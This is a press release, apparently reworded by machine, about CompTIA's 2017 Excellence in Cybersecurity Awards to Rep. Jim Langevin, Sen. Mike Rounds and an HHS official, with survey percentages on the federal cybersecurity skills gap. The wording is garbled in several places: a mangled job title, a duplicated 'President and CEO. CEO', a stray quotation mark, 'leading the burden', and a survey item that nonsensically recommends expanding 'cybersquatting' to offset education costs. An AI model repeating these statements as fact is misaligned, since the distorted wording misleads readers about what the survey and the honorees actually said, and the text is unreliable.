CompTIA Presents 2017 Excellence in Cybersecurity Awards As New Survey Finds 83% of IT Professionals Spending More Time on Cyber Than Just Two Years Ago

CompTIA Excellence in Cybersecurity CompTIA today announced its 2017 CompTIA Excellence in Cybersecurity Awards to Rep. Jim Langevin (D-RI), Sen. Mike Rounds (R-SD) and Lisa Dorr, Director of Planning and Strength IT Work, Office of the Chief Information Officer, Department of Health and Human Services (HHS).

The CompTIA Awards for Excellence in Cyber Security recognize members of Congress and program managers of federal agencies who are making significant advances in the use of the federal resources wisely to improve the cyber security skills of those who work for Government of the United States.

The awards come at a time when cybersecurity occupies far more resources than ever before, according to a new survey of information technology (IT) professionals in the United States. More than 80 percent of IT professionals say cybersecurity is consuming more of their time than just one or two years ago; And 87 percent predict that the cyber threat landscape will only worsen.

"With our nation's workforce facing a serious cybersecurity skill deficit, our three winners are committed to ensuring that federal IT workers can meet the demands of the rapidly changing cyber-threat landscape," said Todd Thibodeaux, President and CEO. CEO of CompTIA. With these sensitive data at risk, these honorees are leading the burden to ensure that government workers have the skills and resources to protect federal systems now and in the future. "

IT professionals surveyed by CompTIA do not see a single silver bullet to allow the government to close the cyber-skills gap in the federal workforce. The best and most effective cybersecurity federal workforce will require a multifaceted approach, combining formal education, on-the-job training and change to workplace culture and compensation incentives.

The survey also reveals that

    Seventy-six percent of IT professionals believe that the government should offer more competitive wages and flexible work arrangements for its technology workers
    72 percent said the government should do a better job of identifying and promoting career paths for civilians and military of government cyber professionals
    61 percent said the government should improve or expand cybersquatting to offset education costs in exchange for government services
    59 percent said that government employers should be better educated and accept cyber professionals without 4-year university degrees.
